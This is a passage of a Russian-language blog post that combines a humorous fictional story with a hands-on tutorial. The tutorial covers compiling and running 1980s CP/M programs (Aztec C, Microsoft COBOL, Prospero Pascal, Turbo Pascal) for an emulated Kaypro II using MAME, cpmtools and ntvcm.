    <img src="https://img3.teletype.in/files/e8/00/e800ecf6-eac7-466b-9734-e0f132311ee5.jpeg" width="1280" />
    <figcaption>Обложка дискеты с компилятором BASIC для компьютеров Kaypro.</figcaption>
  </figure>
  <h2 id="lwMz">ФОРМАТ ФЛОППИ</h2>
  <p id="IVEf">Существует определенная хитрость с форматированием дискет для CP/M под Mame, связанная как с особенностями реализации в самом Mame, так и со <a href="https://www.retrocmp.de/kaypro/kay-p21_faq.htm#fdd-001" target="_blank">спецификой Kaypro</a>. </p>
  <blockquote id="OFZe">Да в те далекие времена существовали <strong>разные</strong>, несовместимые между собой форматы дискет.</blockquote>
  <p id="6aRu">У меня не получилось подцепить в Mame образ дискеты, созданный в <code>cpmtools</code> (см. ниже) и описанный ниже вариант оказался <strong>единственным работающим</strong>.</p>
  <p id="yHKE">При запуске Mame нажимаем Tab, открывается меню системное меню:</p>
  <figure id="CQHk" class="m_column">
    <img src="https://img2.teletype.in/files/9c/b2/9cb2c5fb-1571-4116-9176-d1148725197b.png" width="1148" />
  </figure>
  <p id="VFAi">Выбираем пункт <code>File Manager</code>, затем выбираем <code>floppydisk2</code>:</p>
  <figure id="gO8R" class="m_column">
    <img src="https://img2.teletype.in/files/59/99/59996a3c-0cb8-4717-a655-efc628c18f23.png" width="1148" />
  </figure>
  <p id="QQr6">Задаем название, с обязательным указанием расширения <code>.dsk</code>, выбираем формат <code>kaypro2</code>: </p>
  <figure id="Wehd" class="m_column">
    <img src="https://img3.teletype.in/files/2a/c6/2ac6e178-aa12-4380-9bfe-c2406b5b77a4.png" width="1148" />
  </figure>
  <p id="Vr7j">Cозданный образ дискеты должен появиться в каталоге, из которого запускался эмулятор.</p>
  <p id="xEIL">Запускаем повторно, с указанием созданного диска:</p>
  <pre id="ObBu" data-lang="bash">mame kayproii -w -rompath ./roms -flop1 disks/KAY64CPM.IMD -flop2 test2.dsk</pre>
  <p id="mfOS">Уже из CP/M запускаем программу форматирования:</p>
  <pre id="564w" data-lang="bash">initdisk </pre>
  <p id="ICoF">Выбираем формат диска для Kaypro, он идет самым первым в списке, поэтому нажимаем <code>0</code>.</p>
  <p id="gVpi">Программа форматирования сама выберет диск B, запустится форматирование: </p>
  <figure id="kvsY" class="m_column">
    <img src="https://img2.teletype.in/files/11/b2/11b2f632-78dc-43f6-ac52-1c8648ac38c4.png" width="1148" />
  </figure>
  <p id="6BrT">После форматирования, можно перейти на диск B и убедиться что он читается, хотя и не содержит файлов:</p>
  <figure id="46ig" class="m_column">
    <img src="https://img1.teletype.in/files/4f/f9/4ff9a658-3f65-4872-b1b6-55d478c60a03.png" width="1148" />
  </figure>
  <p id="W5hn">Выключаем эмулятор и приступаем ко второй части концертной программы — разборками с пакетом <code>cpmtools</code>, для того чтобы записывать файлы с хоста на созданный образ дискеты.</p>
  <p id="BjTG">Кстати образ с пустым, отформатированным под Kaypro II  диском рекомендую сохранить, поскольку любая ошибка при работе с <code>cpmtools</code> (например если забыть указать формат <code>-f kpii</code>) этот диск убивает. </p>
  <p id="Dwft">..</p>
  <p id="Wtm9">— Да все просто.</p>
  <p id="d6Hu">Если бы мне давали доллар каждый раз, когда я слышу эту фразу — давно бы стал миллионером..</p>
  <p id="P3zB">— Наш коллега из организации, назовем его для простоты доктор Кригер, свято уверен, что только он один может.. как это он выразился? </p>
  <p id="70z5">«Создать новую электронную жизнь в древнем компьютерном теле».</p>
  <p id="Nuoh">— Надеюсь, ваш коллега хотя-бы вводит код руками, а не другим органом. </p>
  <p id="e65i">Гость посмотрев с удивлением, ненадолго задумался.</p>
  <p id="LWH0">— Какая интересная мысль.</p>
  <p id="FkrF">— Я уже упоминал, что вы с ним похожи?</p>
  <p id="pa1z">..</p>
  <h2 id="TMbd">CPMTOOLS</h2>
  <p id="gXhx">Это весьма известный <a href="https://www.moria.de/~michael/cpmtools/" target="_blank">набор инструментов</a> для работы с файловыми системами CP/M, за авторством <a href="https://www.moria.de/~michael/cv.html" target="_blank">Michael Haardt</a>.</p>
  <p id="K5E1">К сожалению работа над оригинальным проектом прекращена, так что мы будем использовать <a href="https://github.com/lipro-cpm4l/cpmtools" target="_blank">более современный форк</a>, уже из Github:</p>
  <pre id="Krki" data-lang="bash">git clone https://github.com/lipro-cpm4l/cpmtools.git</pre>
  <p id="2kU2">Собираем и запускаем сборку:</p>
  <pre id="aLlp" data-lang="bash">./configure
make</pre>
  <p id="2HEx">В результате сборки появится несколько бинарников, готовых к запуску:</p>
  <figure id="gzO9" class="m_original">
    <img src="https://img1.teletype.in/files/4a/97/4a97fcc6-8f90-45e0-9d33-447095657a84.png" width="1131" />
    <figcaption>Думаю даже по названию нетрудно догадаться об их предназначении. </figcaption>
  </figure>
  <p id="TFZK">Для всех последующих увеселений будут использоваться в основном эти два: <code>cpmls</code> и <code>cpmcp</code>. </p>
  <blockquote id="bktr">Первый предназначен для просмотра содержимого образа диска, второй — для копирования внутрь файлов с хоста.</blockquote>
  <p id="9Yld">Копируем созданный образ диска в текущий каталог:</p>
  <pre id="EU9C" data-lang="bash">cp ../../work/kayproii-machine/test2.dsk .</pre>
  <p id="sK4y">Проверяем что диск читается:</p>
  <pre id="sK4y" data-lang="bash">./cpmls -f kpii test2.dsk</pre>
  <p id="mj2m">Копируем тестовый файл</p>
  <pre id="tCNV" data-lang="bash">./cpmcp -f kpii test2.dsk README 0:README.TXT</pre>
  <p id="GidO">Повторный запуск <code>cpmpls</code> должен показать содержимое диска с тестовым файлом:</p>
  <figure id="I843" class="m_original">
    <img src="https://img2.teletype.in/files/9d/bd/9dbdc07a-6f88-442c-b0ab-9a5423a24e73.png" width="1131" />
  </figure>
  <h2 id="8vkQ">NTVCM</h2>
  <p id="JDjL">Наконец <a href="https://github.com/davidly/ntvcm" target="_blank">последний эмулятор CP/M</a>, который тоже придется использовать, хотя и опосредованно:</p>
  <blockquote id="XqwB">Virtual CP/M Machine. Emulates CP/M and the 8080/Z80 on Linux, MacOS, Windows, and real-mode 8086 DOS to run CP/M .com files</blockquote>
  <p id="0kGv">Кстати последний он еще и в том смысле, что это <strong>новая разработка</strong>, созданная (судя по коммитам) буквально пару лет назад. </p>
  <p id="us9y">Созданная, для того чтобы эмулировать систему из 80х, представляете?</p>
  <p id="2jrr">Этот самый <code>ntvcm</code> придется собрать и добавить в переменную <code>PATH</code>, поскольку эмулятор создан тем же автором, что собрал репозиторий с компиляторами под CP/M и используется из скриптов для тестов и.. кросс-компиляции. </p>
  <p id="0U9B">Под CP/M, ага.</p>
  <p id="Dnpr">Шаги простые и очевидные:</p>
  <pre id="x75s" data-lang="bash">git clone https://github.com/davidly/ntvcm.git
cd ntvcm
make</pre>
  <p id="eork">Дальше просто добавляете этот каталог в переменную PATH:</p>
  <pre id="DMHl" data-lang="bash">export PATH=$PWD:$PATH</pre>
  <p id="fkHv">На этом подготовка к <s>оргии</s> празднику древней разработки наконец завершена и мы снова переносимся обратно в офис.</p>
  <p id="Apww">..</p>
  <p id="BvhF">— Короче, коллега Кригер считает, что только он один в силах что-то написать для нашего Kaypro II.</p>
  <p id="8XG8">— Что вообщем-то правда, поскольку остальные умеют все эти ваши компьютеры только включать и выключать. </p>
  <p id="uukB">— Обычно пинком.</p>
  <p id="XdsB">Тут мой гость понял, что наверное не стоило показывать зависимость от будущего исполнителя.</p>
  <p id="Z40Z">— Но разумеется, у нашей организации есть и другие варианты. </p>
  <p id="7lGQ">— Пробовали привлекать «юные дарования», как самые перспективные. Закончилось.. не очень хорошо. </p>
  <p id="LpB6">Достав из внутреннего кармана пиджака конверт, гость выложил на стол несколько фотографий.. полных неописуемого ужаса.</p>
  <p id="Tlwn">— Бедный парень.. это же парень, правда?</p>
  <p id="B4VG">Увиденное на фото заставило шевелиться последние остатки волос.</p>
  <p id="40Kd">— Когда его нашли, он был в бреду и ползал в ванной, обмазавшись собственными экскрементами. </p>
  <p id="gCZ4">— Весь пол, стены и даже потолок были изрисованы чем-то коричневым — символами, похожими на египетские иероглифы:</p>
  <figure id="zn1A" class="m_original">
    <img src="https://img3.teletype.in/files/68/2b/682b0a12-2865-4fa5-af53-e7c621a8a9d6.gif" width="1003" />
    <figcaption>All 24 and 28 pins EPROM pinout 2708 - 27512. <a href="http://www.z80.info/" target="_blank">Отсюда</a>.</figcaption>
  </figure>
  <p id="NuP5">— Это распиновка EPROM, для Z80.</p>
  <p id="9Wld">— Хм, гляжу вы действительно разбираетесь.</p>
  <p id="RX9D">Тут гость привлек мое внимание, указав на одну из фотографий.</p>
  <p id="1mSi">— Вот здесь, на стене было загадочное послание, оставленное.. аналогичным способом. </p>
  <p id="XSJJ">— Но его смысл мы так и не смогли разгадать.</p>
  <p id="DGpO">Я пригляделся к фотографии: </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="g1UX" data-align="center">640КБ ХВАТИТ НА ВСЕХ</p>
  </section>
  <p id="zRVs">— Нет идей что бы это могло значить?</p>
  <figure id="KzVR" class="m_column">
    <img src="https://img4.teletype.in/files/fa/a8/faa83d35-b33f-416c-b464-a9d338bc4cc6.jpeg" width="1200" />
    <figcaption>Пол Аллен и юный Гейтс за четыре года до основания Microsoft.</figcaption>
  </figure>
  <h2 id="PuuW">НЕПРЕРЫВНОЕ ВЕСЕЛЬЕ</h2>
  <p id="VKa2">Возвращаясь к тому адскому репозиторию с компиляторами, наконец рассказываю основное: </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="sKGE">как <s>современному ребенку</s> вести разработку для компьютера из 1987 года.</p>
  </section>
  <p id="45NC">Цепочка необходимых действий выглядит следующим образом:</p>
  <ul id="7V5R">
    <li id="UYyu">Сборка;</li>
    <li id="g6F0">Тестовый запуск с помощью <code>ntvcm</code>;</li>
    <li id="LIv7">Запуск с помощью <code>myz80;</code></li>
    <li id="uUCH">Запуск в Mame с образом настоящего Kaypro II;</li>
    <li id="YTa4">Сеанс рукоблуд.. ээ переход к следующему примеру.</li>
  </ul>
  <p id="2C8a">И начнем мы с того самого примера, показанного на заглавной картинке в фоне.</p>
  <p id="jnwU">Сразу предупреждаю: </p>
  <blockquote id="ElwF">собираем <em>только самые простые</em> варианты, так как каждый сложный имеет свою специфику, требующую отдельного описания.</blockquote>
  <p id="6imC">Но даже в этом случае показать получится очень далеко не все — интересных компиляторов и тулчейнов в репозитории просто чудовищное количество.</p>
  <p id="iiYh">Начнем разумеется с компилятора языка С, но.. <strong>особенного</strong>.</p>
  <h2 id="ScY5"><strong>Aztec C</strong></h2>
  <p id="wvOr">Спасая цитату из погибающей <a href="https://en.wikipedia.org/wiki/Aztec_C" target="_blank">википедии</a>:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="pfdC"><strong>Aztec C</strong> is a discontinued <a href="https://en.wikipedia.org/wiki/C_(programming_language)" target="_blank">C programming language</a> <a href="https://en.wikipedia.org/wiki/Compiler" target="_blank">compiler</a> for <a href="https://en.wikipedia.org/wiki/CP/M" target="_blank">CP/M-80</a>, <a href="https://en.wikipedia.org/wiki/MS-DOS" target="_blank">MS-DOS</a>, <a href="https://en.wikipedia.org/wiki/Apple_II" target="_blank">Apple II</a> (both <a href="https://en.wikipedia.org/wiki/Apple_DOS" target="_blank">Apple DOS</a> 3.3 and <a href="https://en.wikipedia.org/wiki/ProDOS" target="_blank">ProDOS</a>), <a href="https://en.wikipedia.org/wiki/Commodore_64" target="_blank">Commodore 64</a>, early <a href="https://en.wikipedia.org/wiki/Macintosh" target="_blank">Macintosh</a>, <a href="https://en.wikipedia.org/wiki/Amiga" target="_blank">Amiga</a>, and <a href="https://en.wikipedia.org/wiki/Atari_ST" target="_blank">Atari ST</a>. It was sold commercially by Manx Software Systems<a href="https://en.wikipedia.org/wiki/Aztec_C#cite_note-byte_84_dec_manx_c_compilers-1" target="_blank">[1]</a>.</p>
  </section>
  <p id="fN77">Судя по обнаруженным материалам, это был весьма известный и популярный продукт для тех лет. </p>
  <p id="q7JZ">А еще это <a href="https://www.aztecmuseum.ca/intro.htm" target="_blank">вариация языка С</a> <strong>до стандартизации</strong>, поэтому и называется не просто компилятором, а прям <em>отдельным языком</em>:</p>
  <blockquote id="b4RQ">Aztec C — a programming language for a variety of platforms</blockquote>
  <p id="LYdX">Редкое для современных бюрократических реалий зрелище: компилятор, забивающий на стандарты и правила.</p>
  <p id="yC4g">Так выглядела обложка <a href="https://www.reddit.com/r/amiga/comments/1ael3bu/manx_aztec_c_user_guide_5/" target="_blank">руководства пользователя</a>, версии для Amiga:</p>
  <figure id="86kM" class="m_column">
    <img src="https://img1.teletype.in/files/47/2b/472b4d1d-ecfb-4fb6-b662-5c65d12b94c0.jpeg" width="1600" />
    <figcaption>На фото плохо видно, но коробка справа тряпичная, примерно как упаковка дорогого вина или часов.</figcaption>
  </figure>
  <p id="2sB7">А вот так выглядел каталог с <a href="https://www.generation-msx.nl/software/manx-software-systems/aztec-c/release/8311/" target="_blank">компилятором в версии для MSX</a>:</p>
  <figure id="eaPl" class="m_original">
    <img src="https://img3.teletype.in/files/ae/2e/ae2e680c-6c02-4d57-8f47-c643a5a6143e.png" width="544" />
    <figcaption>1982 год, о здоровье глаз тогда еще не заботились.</figcaption>
  </figure>
  <p id="iSaF">Так что это был популярный и известный инструмент, с <a href="https://archive.org/details/byte-magazine-1984-12-rescan/page/n61/mode/2up" target="_blank">весьма скромными прайсами</a>:</p>
  <figure id="W4pG" class="m_column">
    <img src="https://img3.teletype.in/files/62/d7/62d76332-7309-469a-bd85-9aa09be346d6.png" width="658" />
  </figure>
  <p id="0w35">Сложно из 2026 года оценивать цены 1980х, но судя по прайсу выше, Aztec C был явно не самым дорогим софтом, тем более для разработчиков.</p>
  <p id="X6nw">Но мы опять отвлеклись.</p>
  <p id="HcKe">Переходим в каталог <code>manx aztec c v106d</code> и запускаем сборку примера:</p>
  <pre id="SAOH" data-lang="bash">./m.sh EXMPL</pre>
  <p id="zuqP">Да, обязательно КАПСЛОКОМ и обязательно без указания расширения, поскольку в скрипте идет вызов как компилятора, так и линковщика.</p>
  <p id="D2sk">Будет собран COM-файл для CP/M, который проще всего запустить с помощью эмулятора от автора репозитория:</p>
  <pre id="6laM" data-lang="bash">ntvcm EXMPL.COM</pre>
  <p id="nwUf">Так весь процесс выглядит в действии:</p>
  <figure id="XdMH" class="m_original">
    <img src="https://img1.teletype.in/files/4c/51/4c51df80-b43f-4027-9ea3-16ed14963edd.gif" width="800" />
  </figure>
  <p id="lsCv">Теперь запустим на втором эмуляторе — <code>MYZ80</code>, чтобы убедиться в корректности только что собранного приложения.</p>
  <p id="tghl">Копируем созданный <code>EXMPL.COM</code> в каталог с эмулятором и запускаем его через Dosbox:</p>
  <pre id="0JCm" data-lang="bash">cp ../../src/cpm_compilers/manx\ aztec\ c\ v106d/EXMPL.COM .
dosbox MYZ80.EXE</pre>
  <p id="12js">Затем, уже из CP/M выполняем:</p>
  <pre id="YxsZ">import EXMPL.COM</pre>
  <p id="sGBU">Этим действием, файл будет скопирован с хоста в виртуальный диск (дискету) CP/M, откуда его наконец можно будет запустить:</p>
  <pre id="RWAp">EXMPL</pre>
  <p id="2NJG">В действии:</p>
  <figure id="BQZX" class="m_original">
    <img src="https://img1.teletype.in/files/4d/bc/4dbcd333-2e0d-415f-b655-da85426a172a.gif" width="800" />
  </figure>
  <p id="mv8X">Наконец в качестве <s>дембельского аккорда</s> контрольного примера, показываю запуск и работу в Mame.</p>
  <p id="RU0Z">Переходим в каталог с <code>cpmtools</code> и выполняем:</p>
  <pre id="Kktb" data-lang="bash">./cpmcp -f kpii ../../work/kayproii-machine/test2.dsk ../cpm_compilers/manx\ aztec\ c\ v106d/EXMPL.COM 0:EXMPL.COM</pre>
  <p id="dDuT">Этим действием мы запишем наше собранное приложение <code>EXMPL.COM</code> в образ дискеты для Kaypro II.</p>
  <p id="GhtQ">Для проверки выполняем:</p>
  <pre id="0bau" data-lang="bash">./cpmcp -f kpii ../../work/kayproii-machine/test2.dsk</pre>
  <p id="Tt7g">Должно быть видно содержимое образа дискеты, с новым файлом внутри:</p>
  <figure id="OXGx" class="m_original">
    <img src="https://img3.teletype.in/files/60/51/6051b401-e8e9-4a67-9022-952decfff5be.png" width="854" />
  </figure>
  <p id="Lw8E">Наконец запускаем максимально близкую к реальности эмуляцию компьютера Kaypro II в Mame:</p>
  <pre id="vmeC" data-lang="bash">mame kayproii -w -rompath ./roms -flop1 disks/KAY64CPM.IMD -flop2 test2.dsk</pre>
  <p id="vnnf">Так это выглядит в действии:</p>
  <figure id="iLl8" class="m_original">
    <img src="https://img3.teletype.in/files/ac/90/ac90e06f-ca5a-4353-80b5-a15d72d3f0b5.gif" width="800" />
  </figure>
  <p id="3ffB">Чтобы не раздувать статью до совсем уж скотских размеров, для всех остальных компиляторов покажу только финальный запуск в Mame.</p>
  <p id="tqft">Пусть ваше больное воображение дорисует недостающее.</p>
  <p id="iw8t">..</p>
  <p id="vet6">— Ладно, думаю мы договорились.</p>
  <p id="q0fM">— Небольшое приложение для Kaypro II образца 1987 года, для причинения моральных страданий немецкому инженеру. </p>
  <p id="isV9">На этом мой гость задумался, как будто вспоминая важную деталь.</p>
  <p id="tgED">— Как же оно называется? Туда запихиваются такие плоские черные штуки? Д.. дди.. доо..</p>
  <p id="1xks">— Дисковод, для дискет.</p>
  <p id="Dx7d">— Работу необходимо сдать на 5.25 дискете, я понял.</p>
  <p id="m6ds">Это был первый раз в моей жизни, когда надо было сдать работу на пятидюймовой дискете.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="SCAV">Но с учетом роста цен на чипы памяти и SSD — думаю далеко не последний.</p>
  </section>
  <p id="0V1I">(гомерический хохот за кадром)</p>
  <p id="xATj">Закончив переговоры, мой гость попрощался и ушел, оставив меня в глубоких раздумьях об истинной природе вещей.</p>
  <blockquote id="SRgk">О том, что не надо упарываться, коль жизнь подбросила уже упоротый проект. </blockquote>
  <p id="di9H">Чтобы потом не размазывать собственное говно по стенам и потолку в процессе отладки.</p>
  <p id="U1S2"></p>
  <p id="lAQ3">Но работа есть работа и вскоре я приступил к насилию над поисковыми системами, рыская по сети в поисках археотеха, способного помочь с разработкой под столь лютый винтаж.</p>
  <figure id="FSkE" class="m_original">
    <img src="https://img1.teletype.in/files/84/bc/84bc4440-2f41-44c7-8262-09ceeb8c3681.jpeg" width="756" />
    <figcaption>Так выглядела обложка от оригинальной упаковки с комплектом дискет.</figcaption>
  </figure>
  <h1 id="hCYO">Microsoft COBOL </h1>
  <p id="yLtN">Малоизвестный ныне факт, но компания Microsoft когда-то <a href="https://www.roug.org/retrocomputing/languages/cobol/microsoft" target="_blank">продавала компилятор COBOL</a>:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="qPjm">Microsoft produced a COBOL compiler for CP/M. This product was also licensed to IBM as IBM Cobol Compiler.</p>
  </section>
  <p id="U5Sw">Я собрал и запустил пример, который производит вычисление корня <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%9D%D1%8C%D1%8E%D1%82%D0%BE%D0%BD%D0%B0" target="_blank">методом Ньютона</a>:</p>
  <pre id="cus2" data-lang="bash">./m.sh SQUARO</pre>
  <p id="HH7u">Для запуска помимо <code>SQUARO.COM</code> надо перебросить в эмулятор еще и файл <code>RUNCOB.COM</code>,иначе не заработает.</p>
  <p id="Glax">Так этот пример выглядит в работе, на фоне (в редакторе) можно заметить исходный код на COBOL:</p>
  <figure id="X0CU" class="m_original">
    <img src="https://img4.teletype.in/files/b0/e8/b0e88903-6a7a-46ce-bae5-0c5881a0258f.gif" width="800" />
  </figure>
  <p id="VQvq">Microsoft COBOL оказался хотя и интересным, но все же мало актуальным компилятором, так и не нашедшим широкого применения в свое время. </p>
  <blockquote id="VWjU">Врядли приложение на COBOL было лучшим вариантом, чтобы утереть нос немецкому коллеге-инженеру. </blockquote>
  <p id="nPWb">Так что я стал искать дальше.</p>
  <p id="lBAA">Однако был еще один важный вопрос, который стоило закрыть прежде чем выбрать наконец язык реализации.</p>
  <p id="1MGj">..</p>
  <p id="ar9o">alex0x08: дарова!</p>
  <p id="eWHA">alex0x08: нужны тайные знания ордена</p>
  <p id="q6Ap">alecv: излагай</p>
  <p id="Jb2I">alex0x08: надо программку одну запустить, на железе из 1987 года :)</p>
  <p id="neKh">alex0x08: только что собрал</p>
  <p id="mQnr">alex0x08: да, я трезвый</p>
  <p id="pmRl">alecv: эк же тебя жизнь скрутила..</p>
  <p id="331o">alecv: нет чтобы как все — миксуешь себе Сlaude Соde с фентанилом да вбиваешь промпты, представляя что ты в LA..</p>
  <p id="ac45">alecv: ладно, поможем</p>
  <p id="swct">alecv: скидывай сборку</p>
  <p id="uWYf">..</p>
  <figure id="h4YV" class="m_column">
    <img src="https://img4.teletype.in/files/b2/b7/b2b7ff74-d73e-4899-ab02-4039bde2289c.jpeg" width="1456" />
    <figcaption>Единственное фото дискеты с этим компилятором,  которое удалось найти</figcaption>
  </figure>
  <h2 id="Cn4B">Pro Pascal </h2>
  <p id="xcA0">Кто ищет — всегда находит, поэтому очень скоро обнаружилась еще одна невероятная <s>дичь</s> редкость:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="mn3f"><a href="https://www.atarimagazines.com/st-log/issue34/84_1_REVIEW_PROSPERO_PASCAL.php" target="_blank">Prospero Pascal</a> is a full-featured Pascal that includes everything you need to begin writing stand-alone programs for your Atari ST.</p>
  </section>
  <p id="1a54">Компилятор Паскаля для 8-битных компьютеров <s>с блекджеком и блудницами</s> с дополнениями и доработками:</p>
  <blockquote id="QGfc">Prospero Pascal is a superset of ISO Standard Pascal. In addition to the standard features, this package offers a number of extensions including dynamic strings, single- and double-precision floating-point arithmetic, an assembler-level interface, and separate compilation of program segments. Moreover, Prospero Pascal offers a high degree of portability.</blockquote>
  <p id="BuQu">Динамические строки, вычисления с плавающей точкой, поддержка ассемблерных вставок и все это в 1983м году! </p>
  <p id="gZmK">На Паскале и под Atari, если кто вдруг не понял.</p>
  <p id="gwiW">Разработкой занималась маленькая британская компания <a href="https://www.edm2.com/index.php/Prospero_Software" target="_blank">Prospero Software</a>, закрытая к 1998му году.</p>
  <p id="edN4">В качестве примера была взята реализация &quot;<a href="https://en.wikipedia.org/wiki/Conway&#x27;s_Game_of_Life" target="_blank">симулятора жизни</a>&quot;:</p>
  <pre id="TCka">./m.sh LIFE</pre>
  <p id="7z7n">К сожалению автоматически (из скрипта сборки) оно не линкуется, так что пришлось вызывать этот шаг отдельно:</p>
  <pre id="crFx" data-lang="bash">ntvcm PROLINK.COM LIFE,PASLIB/S</pre>
  <p id="LHgY">Так эта программа выглядит в работе:</p>
  <figure id="7BGG" class="m_original">
    <img src="https://img1.teletype.in/files/01/59/0159e1d0-67df-4ae9-a8f0-99a96b4bca1a.gif" width="800" />
  </figure>
  <p id="z6Bk">Все выше конечно весьма занимательные (для археологов и некрофилов) штуки, но самое интересное я приберег напоследок.</p>
  <p id="dssr">..</p>
  <p id="xr6M">Пару дней спустя я сидел в кафе напротив <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D0%B7%D0%B0%D0%BD%D1%81%D0%BA%D0%B8%D0%B9_%D1%81%D0%BE%D0%B1%D0%BE%D1%80_(%D0%A1%D0%B0%D0%BD%D0%BA%D1%82-%D0%9F%D0%B5%D1%82%D0%B5%D1%80%D0%B1%D1%83%D1%80%D0%B3)" target="_blank">Казанского собора</a>, наслаждаясь утренним кофе и редким для этих мест ярким солнцем.</p>
  <p id="B88p">Внезапно мне в бок воткнулось что-то твердое и холодное.</p>
  <p id="2r4h">— Не оборачивайся, не задавай вопросов. </p>
  <p id="g7K8">Незнакомец что-то положил в карман моего пальто.</p>
  <p id="o0Vw">— Посылка доставлена, внутри найдешь пятидюймовую дискету с записью сборки для твоего заказчика. </p>
  <p id="miYz">— Достаточно воткнуть ее в дисковод.</p>
  <p id="KVGu">— Но как вы.. как вы смогли записать ее в 2026м году?!</p>
  <p id="dcPM">— Тайны ордена, посторонним знать не положено. </p>
  <p id="tj0m">— На этом все.</p>
  <p id="eDWo">Давление на мой бок ослабло и незнакомец исчез.</p>
  <p id="6iXQ"></p>
  <figure id="UdjK" class="m_column">
    <img src="https://img2.teletype.in/files/95/97/9597f5db-c95b-4560-a922-4dc982ea3c36.png" width="1737" />
  </figure>
  <h2 id="i8Af">Borland Pascal 1.0</h2>
  <p id="WMI6">Тот самый Паскаль, ставший для многих <s>первой любовью</s> первым языком программирования, поскольку именно на нем много лет обучали кодингу в школах и некоторых ВУЗах этой страны. </p>
  <blockquote id="LSDB">В результате чего появлялись на свет такие как автор, для которого Паскаль тоже когда-то был самым первым.</blockquote>
  <p id="GL3v">Но то что я сейчас покажу — не просто «какой-то там Паскаль» и даже не «какой-то там Паскаль» от фирмы <a href="https://en.wikipedia.org/wiki/Borland" target="_blank">Borland</a>, ставшей законодательницей мод в паскалестроении. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Q4LN">Это его первая релизная версия, с которой все началось.</p>
  </section>
  <p id="MKG7">А еще с первой версии стартовала история и знаменитой среды разработки, с помощью которой осуществлялась сборка и отладка программ.</p>
  <p id="E2DT">Вот он, тот самый <code>TURBO.COM</code>, который позже превратится в <code>TURBO.EXE</code>: </p>
  <figure id="47dn" class="m_original">
    <img src="https://img4.teletype.in/files/7b/bd/7bbd87fc-f291-469d-9c3e-35a241bad2df.png" width="1131" />
  </figure>
  <p id="FotJ">Кусочек руководства пользователя с адресом «небольшой компании-стартапа» на просторах Калифорнии:</p>
  <figure id="rak3" class="m_original">
    <img src="https://img3.teletype.in/files/27/32/273270f5-dc3e-4819-9fc1-d9708de2c86a.png" width="774" />
  </figure>
  <p id="Mu7n">А я почему-то всегда был уверен, что Borland начиналась как европейская компания — удивительные открытия порой приносит компьютерная археология.</p>
  <p id="Yn6U">Для тестов, были скопированы <code>TURBO.COM</code> и <code>HELLO.PAS</code> на образ дискеты, который затем подключили в эмулятор.</p>
  <p id="F2ve">Код <code>HELLO.PAS</code> это классический «Hello, world», с которого начинали свой трудовой путь и карьеру все программисты:</p>
  <pre id="bM8l" data-lang="pascal">program hello;

begin
    writeln( &#x27;hello davidly&#x27; );
end.</pre>
  <p id="1e3t">К сведению, <code>davidly</code> это ник дедушки-автора, собравшего сей сказочный репозиторий. </p>
  <p id="UrWN">Так все действо выглядит в эмуляторе Mame:</p>
  <figure id="o1lF" class="m_original">
    <img src="https://img3.teletype.in/files/a5/fd/a5fde706-bf34-493c-b163-d2d47a54cda7.gif" width="800" />
  </figure>
  <h2 id="J192">НЕЛЕГКИЙ ВЫБОР</h2>
  <p id="0onT">Итак, у меня набралось четыре варианта на выбор:</p>
  <ul id="ggcW">
    <li id="oUP7">Первая релизная версия Borland Pascal;</li>
    <li id="vPXb">Редкая версия Pascal, с крутыми (для 1983 года) фичами;</li>
    <li id="NMem">Microsoft COBOL, без комментариев.</li>
  </ul>
  <p id="YdAJ">И конечно же Aztec C — реализация языка С до его стандартизации, настоящий артефакт.</p>
  <p id="954G">Надо было выбрать что-то одно и я решил кинуть кости, оставшиеся в офисе со времен бурной молодости:</p>
  <p id="DGGo"></p>
  <figure id="hu7L" class="m_original">
    <img src="https://img3.teletype.in/files/a0/00/a0002839-a2d4-42f2-8345-85362d2c3483.jpeg" width="474" />
  </figure>
  <p id="Qxrv">Мысленно назначив каждому варианту по грани, я подбросил кубик в воздух, поймал и медленно положил на стол, накрыв ладонью.</p>
  <p id="j5LN">Что выбрала для меня судьба?</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="qHvn" data-align="center">И.. да, это Aztec C. </p>
  </section>
  <p id="z5eO">(бурные аплодисменты)</p>
  <p id="Zmn2">Но не потому, что верю в судьбу или так подсказал какой-то сраный кубик. Просто в любой непонятной ситуации я всегда выбираю Си.</p>
  <p id="kkUB">И такой подход еще ни разу не подводил.</p>
  <figure id="UQZe" class="m_original">
    <img src="https://img3.teletype.in/files/af/91/af91bad8-95c6-4614-995c-bee8f1057f22.jpeg" width="1280" />
    <figcaption>В такое безусловно сложно поверить далекому от Сант-Петербурга обывателю, но это настоящий барельеф с масонским гербом.</figcaption>
  </figure>
  <h2 id="XkWq">ПОСЛЕДНЯЯ ПРОВЕРКА</h2>
  <p id="s7jy">Старый, дореволюционной постройки дом в самом центре Питера, с гербом масонского ордена на барельефах разумеется привлекал внимание туристов, наделавших немалое количество селфи на его фоне. </p>
  <blockquote id="cFf0">Но мало кто даже из коренных петербуржцев догадывался, что находится внутри.</blockquote>
  <p id="1mLb">Меня встретили у неприметной двери, в которую надо было постучать определенным образом и строго в нужной последовательности.</p>
  <p id="k9uq">Затем надев на голову черный мешок, непроницаемый для любого света, аккуратно сопроводили в тайное помещение ордена.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="LGMW" data-align="center">Ордена «Свидетелей Спектрума».</p>
  </section>
  <p id="oIKx">С незапамятных времен Советского Союза, этот тайный орден хранил уникальные знания и что самое важное — поддерживал в рабочем состоянии удивительные машины из далекого прошлого.</p>
  <p id="C1Vv">Тут было все: </p>
  <blockquote id="bpEY">Спектрумы, Амиги, старые рабочие станции Sun и HP, DEC и даже Alpha.</blockquote>
